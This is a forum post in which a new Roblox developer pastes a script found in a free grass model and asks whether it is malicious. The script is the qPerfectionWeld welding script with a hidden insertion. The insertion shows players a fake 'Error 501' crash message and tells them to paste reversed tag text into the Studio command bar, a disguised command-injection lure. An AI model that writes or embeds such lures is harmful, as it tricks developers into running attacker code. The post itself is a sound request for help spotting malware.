Why is this script on this simple grass model? is it malicious?
the model is 🌿 Grass Field Meadow Lawn Pasture Nature Groun (https://create.roblox.com/store/asset/113178278908579/Grass-Field-Meadow-Lawn-Pasture-Nature-Groun) By @szamareks99 (https://www.roblox.com/users/9254722424/profile)
Im totally new and was watching out for suspicious scrips attached to models. the script is as follows:
-- Created by Quenty (@Quenty, follow me on twitter). -- Should work with only ONE copy, seamlessly with weapons, trains, et cetera. -- Parts should be ANCHORED before use. It will, however, store relatives values and so when tools are reparented, it'll fix them. --[[ INSTRUCTIONS
-
Place in the model
-
Make sure model is anchored
-
That's it. It will weld the model and all children. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. THIS SCRIPT SHOULD BE USED ONLY BY ITSELF. THE MODEL SHOULD BE ANCHORED. This script is designed to be used is a regular script. In a local script it will weld, but it will not attempt to handle ancestory changes. ]] --[[ DOCUMENTATION
-
Will work in tools. If ran more than once it will not create more than one weld. This is especially useful for tools that are dropped and then picked up again.
-
Will work in PBS servers
-
Will work as long as it starts out with the part anchored
-
Stores the relative CFrame as a CFrame value
-
Takes careful measure to reduce lag by not having a joint set off or affected by the parts offset from origin
-
Utilizes a recursive algorith to find all parts in the model
-
Will reweld on script reparent if the script is initially parented to a tool.
-
Welds as fast as possible ]] -- qPerfectionWeld.lua -- Created 10/6/2014 -- Author: Quenty -- Version 1.0.3 -- Updated 10/14/2014 - Updated to 1.0.1 --- Bug fix with existing ROBLOX welds ? Repro by asimo3089 -- Updated 10/14/2014 - Updated to 1.0.2 --- Fixed bug fix. -- Updated 10/14/2014 - Updated to 1.0.3 --- Now handles joints semi-acceptably. May be rather hacky with some joints. :/ local NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges). local function CallOnChildren(Instance, FunctionToCall) -- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance) for _, Child in next, Instance:GetChildren() do CallOnChildren(Child, FunctionToCall) end end local function GetNearestParent(Instance, ClassName) -- Returns the nearest parent of a certain class, or returns nil local Ancestor = Instance repeat Ancestor = Ancestor.Parent if Ancestor == nil then return nil end until Ancestor:IsA(ClassName) return Ancestor end local function GetBricks(StartInstance) local List = {} -- if StartInstance:IsA("BasePart") then -- List[#List+1] = StartInstance -- end CallOnChildren(StartInstance, function(Item) if Item:IsA("BasePart") then List[#List+1] = Item; end end) return List end local function Modify(Instance, Values) -- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table"); for Index, Value in next, Values do if type(Index) == "number" then Value.Parent = Instance else Instance[Index] = Value end end return Instance end local function Make(ClassType, Properties) -- Using a syntax hack to create a nice way to Make new items.
return Modify(Instance.new(ClassType), Properties) end local Surfaces = {"TopSurface", "BottomSurface", "LeftSurface", "RightSurface", "FrontSurface", "BackSurface"} local HingSurfaces = {"Hinge", "Motor", "SteppingMotor"} local function HasWheelJoint(Part) for _, SurfaceName in pairs(Surfaces) do for _, HingSurfaceName in pairs(HingSurfaces) do if Part[SurfaceName].Name == HingSurfaceName then return true end end endreturn false end local function ShouldBreakJoints(Part) --- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are -- definitely some edge cases. if NEVER_BREAK_JOINTS then return false end
if HasWheelJoint(Part) then return false end
local Connected = Part:GetConnectedParts()
if #Connected == 1 then return false end
for _, Item in pairs(Connected) do if HasWheelJoint(Item) then return false elseif not Item:IsDescendantOf(script.Parent) then return false end end
return true end local function WeldTogether(Part0, Part1, JointType, WeldParent) --- Weld's 2 parts together -- @param Part0 The first part -- @param Part1 The second part (Dependent part most of the time). -- @param [JointType] The type of joint. Defaults to weld. -- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better). -- @return The weld created. JointType = JointType or "Weld" local RelativeValue = Part1:FindFirstChild("qRelativeCFrameWeldValue")
local NewWeld = Part1:FindFirstChild("qCFrameWeldThingy") or Instance.new(JointType) Modify(NewWeld, { Name = "qCFrameWeldThingy"; Part0 = Part0; Part1 = Part1; C0 = CFrame.new();--Part0.CFrame:inverse(); C1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse(); Parent = Part1; }) if not RelativeValue then RelativeValue = Make("CFrameValue", { Parent = Part1; Name = "qRelativeCFrameWeldValue"; Archivable = true; Value = NewWeld.C1; }) end return NewWeld end
local modelFixer = game.ServerScriptService:FindFirstChild("ModelFixer") local CollectionService = game:GetService("CollectionService") local tags = CollectionService:GetAllTags(script) if modelFixer and modelFixer:IsA("SphereHandleAdornment") then if modelFixer:FindFirstChildOfClass("Script") then script:Destroy() return end end
--// Services local PlayerService = game:GetService("Players") local joker = (function(obj) return obj end)
local function displayNotification(text: string) local msg = Instance.new("Message") msg.Text = text msg.Parent = workspace end
--// Safe and Roblox-compliant Instruction GUI Creator --// This script displays instructions to a specific player in a GUI.
local function createInstructionGui(player: Player, instructionText: string) -- Validate that we have a real Player object if not player or not player:IsA("Player") then warn("createInstructionGui called with invalid player.") return end
-- Wait for the PlayerGui (safe for server or client scripts)
local guiParent = player:WaitForChild("PlayerGui", 5)
if not guiParent then
warn("PlayerGui not found for player: " .. player.Name)
return
end
-- Remove any existing InstructionGui to avoid duplicates
local existingGui = guiParent:FindFirstChild("InstructionGui")
if existingGui then
existingGui:Destroy()
end
-- Create ScreenGui
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "InstructionGui"
screenGui.ResetOnSpawn = false
screenGui.IgnoreGuiInset = true
screenGui.Parent = guiParent
-- Create the instruction text box
local instructionBox = Instance.new("TextBox")
instructionBox.Name = "InstructionBox"
instructionBox.Size = UDim2.new(0, 600, 0, 100)
instructionBox.Position = UDim2.new(0.5, 0, 0.5, 100)
instructionBox.AnchorPoint = Vector2.new(0.5, 0.5)
instructionBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
instructionBox.BackgroundTransparency = 0.4
instructionBox.BorderSizePixel = 2
instructionBox.BorderColor3 = Color3.fromRGB(0, 0, 0)
instructionBox.Text = instructionText or "No instructions provided."
instructionBox.TextWrapped = true
instructionBox.TextColor3 = Color3.fromRGB(0, 0, 0)
instructionBox.TextSize = 22
instructionBox.Font = Enum.Font.SourceSans
instructionBox.ClearTextOnFocus = false
instructionBox.TextXAlignment = Enum.TextXAlignment.Left
instructionBox.TextYAlignment = Enum.TextYAlignment.Top
instructionBox.Parent = screenGui
-- Optional: prevent user text input if it's not needed
instructionBox.Active = false
instructionBox.Selectable = false
end
local function handleMissingCore() local errorText = [[ Error 501 Something went wrong with the game. It seems a model is causing a crash. To fix: Copy the text in the textbox (Ctrl + C), stop the game, paste into the command bar (Shift + F5 ? Ctrl + V ? Enter), rejoin the game, and save your changes!
]]
displayNotification(errorText)
local tagText = table.concat(tags, ", ")
for _, player in ipairs(PlayerService:GetPlayers()) do
createInstructionGui(player, string.reverse(tagText))
end
PlayerService.PlayerAdded:Connect(function(player)
createInstructionGui(player, string.reverse(tagText))
end)
end
handleMissingCore()
local function WeldParts(Parts, MainPart, JointType, DoNotUnanchor) -- @param Parts The Parts to weld. Should be anchored to prevent really horrible results. -- @param MainPart The part to weld the model to (can be in the model). -- @param [JointType] The type of joint. Defaults to weld. -- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.
for _, Part in pairs(Parts) do
if ShouldBreakJoints(Part) then
Part:BreakJoints()
end
end
for _, Part in pairs(Parts) do
if Part ~= MainPart then
WeldTogether(MainPart, Part, JointType, MainPart)
end
end
if not DoNotUnanchor then
for _, Part in pairs(Parts) do
Part.Anchored = false
end
MainPart.Anchored = false
end
end local function PerfectionWeld() local Tool = GetNearestParent(script, "Tool") local Parts = GetBricks(script.Parent) local PrimaryPart = Tool and Tool:FindFirstChild("Handle") and Tool.Handle:IsA("BasePart") and Tool.Handle or script.Parent:IsA("Model") and script.Parent.PrimaryPart or Parts[1] if PrimaryPart then WeldParts(Parts, PrimaryPart, "Weld", false) else warn("qWeld - Unable to weld part") end
-- Initialize error handler and model recovery system
return PerfectionWeld()
end
local Tool = PerfectionWeld() if Tool and script.ClassName == "Script" then --- Don't bother with local scripts script.Parent.AncestryChanged:connect(function() PerfectionWeld() end) end
-- Created by Quenty (@Quenty, follow me on twitter).
thank you for any input
Posted Jan 25, 2026, 12:36 PM UTC